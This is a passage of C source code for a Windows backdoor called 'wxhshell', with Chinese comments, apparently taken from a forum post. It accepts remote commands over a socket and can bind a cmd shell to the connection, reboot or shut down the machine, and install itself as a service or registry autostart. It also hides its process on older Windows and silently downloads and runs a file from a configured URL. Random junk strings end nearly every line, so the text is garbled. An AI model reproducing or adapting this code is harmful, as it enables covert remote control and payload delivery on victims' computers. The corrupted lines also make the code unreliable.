  } #vT~D>zj  
  else { ]DI%7kw'  
s%)>O{{)  
    switch(cmd[0]) { 4zf(  
  n*N`].r#{=  
  // 帮助 \p J<@  
  case '?': { 6am<V]Hw0F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QeD ;GzG  
    break; ]U5/!e  
  } qApf\o3[0  
  // 安装 Oa7jLz'i  
  case 'i': { uq@_DPA7  
    if(Install()) 4-q8:5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _MUSXB'  
    else Qx77%L4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vi0nJ -Xg  
    break; N`5 mPE  
    } wmFS+F4`2  
  // 卸载 FJ O- p  
  case 'r': { Iz I hC  
    if(Uninstall()) 2Xp?O+b#"O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A)D1 #,0  
    else Us8nOr>5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?) VBkA5j  
    break; l~GcD  
    } 6"jV>CNc@  
  // 显示 wxhshell 所在路径 AM4 :xz  
  case 'p': { :Pi="  
    char svExeFile[MAX_PATH]; p}-B>v  
    strcpy(svExeFile,"\n\r"); Q E*`#r#e  
      strcat(svExeFile,ExeFile); i  M!=/  
        send(wsh,svExeFile,strlen(svExeFile),0); MH_3nN  
    break; Bfr$&?j#  
    } g}*F"k4j  
  // 重启 UN`O*(k[  
  case 'b': { rs:a^W5t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &, WQr  
    if(Boot(REBOOT)) }%k 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |(rTz!!-  
    else { gJuA*^  
    closesocket(wsh); EY[J;H_b  
    ExitThread(0); q!}O+(kt  
    } Y f;Slps  
    break; Ea?u5$>gY"  
    } i^&^eg'.5  
  // 关机 :<`po4/  
  case 'd': { O `a4 ")R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5U%a$.yr  
    if(Boot(SHUTDOWN)) 9Zpd=m8dU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O\)rp!i  
    else { A\~tr   
    closesocket(wsh); <5l!xzvw  
    ExitThread(0); ,{{Z)"qaH  
    } C(5B/W6  
    break; {~eVZVv  
    } %n>*jFC  
  // 获取shell L2^M#G@t  
  case 's': { I0C$  
    CmdShell(wsh); (Zv/(SE5%  
    closesocket(wsh); w;KNS'   
    ExitThread(0); m}?(c)ST  
    break; h$q=NTV  
  } $qh?$a  
  // 退出 "A,-/~cBV  
  case 'x': { 5<L+T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <LA!L  
    CloseIt(wsh); 2$gOe^ &  
    break; eEMU,zCl  
    } [f\TnXq24  
  // 离开 D]$X@2A  
  case 'q': { o"@GYc["  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t5jZ8&M5]  
    closesocket(wsh); ayoqitXD?  
    WSACleanup(); 84u %_4/  
    exit(1); P+[\9Gg  
    break; 8iwqy0<  
        } tJ!s/|u(  
  } NU$?BiB?R  
  } 8^6dK  
8!u8ZvbFG  
  // 提示信息 mA>u6Rlc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T_b$8GYfCY  
} Q{+N{/tF  
  } z\ ?cazQ  
WEFvJ0]  
  return; uGH>|V9'c  
} b)Dzau  
UFY_.N~  
// shell模块句柄 7Q3a0`Iq  
int CmdShell(SOCKET sock) k874tD  
{ x6={)tj  
STARTUPINFO si; !`?*zf  
ZeroMemory(&si,sizeof(si)); 6l-V% 3-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q7@.WG5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o$+"{3svw?  
PROCESS_INFORMATION ProcessInfo; x*2'I  
char cmdline[]="cmd"; T`.RP&2/d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); or{X{_X7  
  return 0; %>Y86>mVz  
} P n|*(sTl  
beCTOmC  
// 自身启动模式 ~]&,v|g&  
int StartFromService(void) rkz_h  
{ V[T`I a\  
typedef struct Auz.wes  
{ p?,:  
  DWORD ExitStatus; r^|AiYI)  
  DWORD PebBaseAddress; ?go+oS^  
  DWORD AffinityMask; yDW$v/j.|  
  DWORD BasePriority; ^+20e3 ~Y  
  ULONG UniqueProcessId; {(MC]]'?  
  ULONG InheritedFromUniqueProcessId; _.y0 QkwV  
}   PROCESS_BASIC_INFORMATION;  ^q=D!g  
vPA {)l\K  
PROCNTQSIP NtQueryInformationProcess; llP 5  
JD}"_,-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t^zmv PDK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ">^O{X\  
w0i v\yIRQ  
  HANDLE             hProcess; HKZD*E((  
  PROCESS_BASIC_INFORMATION pbi; 0kdPr:B Q0  
N ?mTAF'M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o<r|YRzQl  
  if(NULL == hInst ) return 0; kxp, ZP  
YYc.e T<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b;XUv4~V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *.]M1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b7_uT`<  
(d2|r)O  
  if (!NtQueryInformationProcess) return 0; >u:t2DxE  
mgxoM|n6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ufekhj  
  if(!hProcess) return 0; &58+-jzW  
z]Dbca1a`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }+fMYgw  
R|Lr@k{6+r  
  CloseHandle(hProcess); 05cyWg9a  
[spJ%AhV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L| uoFG{  
if(hProcess==NULL) return 0; =6sL}$  
Pgg\(D#X`  
HMODULE hMod; |/R)FT#i  
char procName[255]; 5}uH;E)4  
unsigned long cbNeeded; ?4 fXCb]7  
NlS/PWc6(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ] 3@.)  
}bxW@(bs  
  CloseHandle(hProcess); 8 ;C_@  
x!08FL)  
if(strstr(procName,"services")) return 1; // 以服务启动 F.0CJ7s  
Gz9w1[t  
  return 0; // 注册表启动 `N69xAiy  
} A1A/OU<Vb  
%ur_DQ  
// 主模块 |%@.@c  
int StartWxhshell(LPSTR lpCmdLine) D/ SM/  
{ $\ 0d9^)&  
  SOCKET wsl; UtebSQ+h\  
BOOL val=TRUE; g{}{gBplnl  
  int port=0; DKG%z~R*  
  struct sockaddr_in door; ?{OB+f}Mo  
;QA`2$Ow  
  if(wscfg.ws_autoins) Install(); .%pbKi `  
$YX\&%N  
port=atoi(lpCmdLine); QKAo}1Pq  
lbCTc,xT  
if(port<=0) port=wscfg.ws_port; Vg0$5@  
zIyMq3  
  WSADATA data; !e}LB%zf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .1[[Y}  
;;2Yfn'`9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dvAvG.;U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wK_I"  
  door.sin_family = AF_INET; "AzA|zk')"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0?tn.<'B8T  
  door.sin_port = htons(port); tCJ+OU5/  
4\.1phe$a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4nfpPN t  
closesocket(wsl); 9bL`0L  
return 1; py9HUyr5eZ  
} 'ow`ej  
S|{'.XG  
  if(listen(wsl,2) == INVALID_SOCKET) { B~ o;,}  
closesocket(wsl); >>ncq$  
return 1; lAxbF  
} 0 s-IW  
  Wxhshell(wsl); nnV(MB4z1  
  WSACleanup(); kXmnLxhS/  
hf/6VlZ  
return 0; ~qG`~/7  
uK:?6>H  
} =lzRx%tm  
a5v}w7vL  
// 以NT服务方式启动 TfD]`v`]   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B}%B4&Ij  
{ rHir> p  
DWORD   status = 0; iG\ ]  
  DWORD   specificError = 0xfffffff; dA`.  
]pZxbs&Vb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^=H. .pr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SxHj3,`#C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [/s^(2%  
  serviceStatus.dwWin32ExitCode     = 0; vgc #IEx@  
  serviceStatus.dwServiceSpecificExitCode = 0; kIb)I(n  
  serviceStatus.dwCheckPoint       = 0; 8Rgvb3u  
  serviceStatus.dwWaitHint       = 0; (o!v,=# 6{  
],lrT0_cT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); = h _>OA  
  if (hServiceStatusHandle==0) return; u*I=.  
TV~ <1vj  
status = GetLastError(); MT8BP)C  
  if (status!=NO_ERROR) x:h0/f  
{ D5wy7`c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H8V${&!ho  
    serviceStatus.dwCheckPoint       = 0; _%M5 T  
    serviceStatus.dwWaitHint       = 0; 7fVlA"x  
    serviceStatus.dwWin32ExitCode     = status; wF +9Iu  
    serviceStatus.dwServiceSpecificExitCode = specificError; I.[2-~yf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U;Iqz1S  
    return; DS@ZE Q`F  
  } ZeUA  e  
03WLVP@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ewNzRH,b  
  serviceStatus.dwCheckPoint       = 0; a@E+/9  
  serviceStatus.dwWaitHint       = 0; qno8qF*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1}moT#  
} 3fS+,>s\O  
gEVN;G'B<=  
// 处理NT服务事件,比如:启动、停止 ZfPWH'P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U>bmCK2  
{ )575JY `6K  
switch(fdwControl) i?.7o*w8  
{ i`]-rM%J#  
case SERVICE_CONTROL_STOP: y;)j  
  serviceStatus.dwWin32ExitCode = 0; wUGSM"~ |  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mgIB8D+6  
  serviceStatus.dwCheckPoint   = 0; 0Q81$% @<  
  serviceStatus.dwWaitHint     = 0; XYJ7k7zc+Y  
  { u!=9.3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O "jX|5  
  } U*G8 }W  
  return; Y#>'.$ (Az  
case SERVICE_CONTROL_PAUSE: C@{#OOa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |i)7j G<  
  break; LciSQ R!  
case SERVICE_CONTROL_CONTINUE: LL|uMe"Jb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DrfOz#a0Uu  
  break; 'y(;:Kc  
case SERVICE_CONTROL_INTERROGATE: ea"!:cL(g  
  break; o"^+i#H!  
}; njbEw4nX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hJr cy!P<a  
} G~SgI>Q  
[^rT: %Z  
// 标准应用程序主函数 X @;o<2^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v8 Q/DJ~  
{ MIblx  
,/d R  
// 获取操作系统版本 CdxEY  
OsIsNt=GetOsVer(); 4eZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &d"c6il[  
[(Z sQK  
  // 从命令行安装 T=/GFg'  
  if(strpbrk(lpCmdLine,"iI")) Install(); qb^jcy  
'hTA O1n8  
  // 下载执行文件 rTBrl[&,q'  
if(wscfg.ws_downexe) { S,9}p 1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8<,b5  
  WinExec(wscfg.ws_filenam,SW_HIDE); mlIX>ss|7B  
} Y<~N x~w{  
:6~DOvY  
if(!OsIsNt) { I%.96V  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~hubh!d=  
HideProc(); OQ[E-%v1 R  
StartWxhshell(lpCmdLine); f s8nYgv|Q  
} KC+C?]~M  
else qTbY'V5A  
  if(StartFromService()) K"p$ga{  
  // 以服务方式启动 >Oary  
  StartServiceCtrlDispatcher(DispatchTable); c,cc avv{I  
else t`PA85.|d  
  // 普通方式启动 ~i`@  
  StartWxhshell(lpCmdLine); [@SLt$9"  
4dkU;Ob  
return 0; AJ0qq  
}
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只看该作者 1 发表于: 2006-10-10
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